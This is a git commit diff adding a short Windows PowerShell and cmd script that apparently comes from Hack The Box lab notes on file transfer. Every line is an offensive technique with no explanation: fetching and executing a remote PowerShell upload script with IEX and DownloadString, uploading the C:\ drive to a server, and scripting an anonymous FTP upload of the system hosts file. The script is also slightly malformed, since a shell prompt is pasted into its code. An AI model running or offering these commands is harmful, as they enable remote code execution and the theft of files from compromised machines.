Add initial implementation of file server, mount, upload, and WebDAV scripts
This commit is contained in:
@@ -0,0 +1,12 @@
|
||||
$server = 127.0.0.1
|
||||
$file = C:\
|
||||
|
||||
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
|
||||
PS C:\htb> Invoke-FileUpload -Uri http://$server/upload -File $file
|
||||
|
||||
echo open $server > ftpcommand.txt
|
||||
echo USER anonymous >> ftpcommand.txt
|
||||
echo binary >> ftpcommand.txt
|
||||
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
|
||||
echo bye >> ftpcommand.txt
|
||||
ftp -v -n -s:ftpcommand.txt
|
||||
Reference in New Issue
Block a user